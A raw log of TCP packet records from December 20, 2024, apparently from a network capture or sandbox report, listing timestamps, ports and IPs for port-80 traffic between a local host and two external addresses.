Dec 20, 2024 04:12:48.728203058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.728544950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.729190111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.729315996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.729382992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.730314970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.730429888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.731642008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.731700897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.731806993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.732044935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.732516050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.732626915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.732677937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.733634949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.733690023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.733720064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.733872890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.734714985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.734755039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.734827995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.735157013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.735876083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.735981941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.736022949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.736954927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.737122059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.737195015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.738032103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.738133907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.738171101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.739164114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.739206076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.739365101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.739701986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.740268946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.740391970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.741360903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.741416931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.741463900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.741983891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.742460012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.742578030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.742873907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.743578911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.743639946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.744119883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.744667053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.744740009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.744765997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.745358944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.745790005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.745891094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.745903015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.745915890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.746877909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.746984959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.747036934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.747997046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.748045921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.748099089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.748259068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.749034882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.749085903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.846308947 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846328020 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846446991 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.846502066 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846529961 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846607924 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846662998 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.846676111 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.846723080 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.883194923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.883251905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.883286953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.883522034 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.883693933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.883734941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.883800030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.883841991 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.884795904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.884845018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.884896040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.884987116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.885912895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.885991096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.886019945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.886059046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.887054920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.887104988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.887180090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.887218952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.888108015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.888158083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.888183117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.888217926 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.888436079 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.888566971 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.889224052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.889331102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.889378071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.890345097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.890465021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.890544891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.891458988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.891509056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.891566038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.891752958 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.892550945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.892597914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.892868996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.893650055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.893697023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.893762112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.893990993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.894751072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.894795895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.894851923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.895041943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.895884991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.895940065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.896015882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.896980047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.897028923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.897084951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.897991896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.898091078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.898134947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.898164988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.899189949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.899243116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.899272919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.899329901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.900299072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.900345087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.900408983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.900450945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.901407957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.901451111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.901526928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.901590109 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.902493000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.902625084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.902668953 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.903681040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.903790951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.903839111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.904755116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.904805899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.904839039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.905016899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.905827045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.905875921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.905942917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.906953096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.906997919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.907052994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.908041000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.908090115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.908145905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.908195972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.909143925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.909264088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.909308910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.910259962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.910367966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.910382986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.911360979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.911420107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.911453009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.912472963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.912523985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.912539005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.912622929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.913588047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.913712978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.913762093 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.914680004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.914725065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.914792061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.915113926 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.915771008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.915888071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.915931940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.916898012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.917012930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.917072058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.917990923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.918077946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.918118954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.919094086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.919208050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.919251919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.920223951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.920272112 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.920319080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.921340942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.921385050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.921401024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.921993017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.922431946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.922476053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.922858953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.922899008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.923531055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.923578978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.923595905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.923635960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.924639940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.924681902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.924747944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.924789906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.925751925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.925792933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.925857067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.925899982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.926861048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.926908970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.926965952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.927006006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.927939892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.927989960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.928056002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.928096056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.929060936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.929102898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.929169893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.929210901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.930160046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.930202007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.930275917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.930318117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.931265116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.931305885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.931370020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.931408882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.932394981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.932439089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.932498932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.932542086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.933492899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.933533907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.933567047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.933610916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.934570074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.934612036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.934685946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.934727907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.935688019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.935728073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.935808897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.935848951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.936793089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.936825037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.936834097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.936861038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.937921047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.937964916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.938124895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.938163996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.939013004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.939064026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.939109087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.939150095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.940115929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.940160036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.940233946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.940270901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.941211939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.941253901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.008234978 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.008348942 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.048502922 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.048571110 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.075417995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.075474024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.075551987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.075598001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.075898886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.075939894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.076105118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.076147079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.077002048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.077045918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.077121019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.077162027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.078108072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.078150034 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.078233957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.078275919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.079205036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.079245090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.079256058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.079293966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.080322027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.080365896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.080398083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.080437899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.081430912 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.081474066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.081562996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.081605911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.082549095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.082592010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.082649946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.082690954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.083619118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.083663940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.083720922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.083761930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.084734917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.084775925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.084893942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.084933996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.085845947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.085886955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.085916996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.085958004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.086963892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.087007046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.087069988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.087110996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.088056087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.088097095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.088121891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.088164091 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.089174032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.089216948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.089278936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.089320898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.090275049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.090321064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.090378046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.090420008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.091406107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.091444016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.091470003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.091510057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.092505932 CET	80	49875	31.41.244.11	192.168.2.4
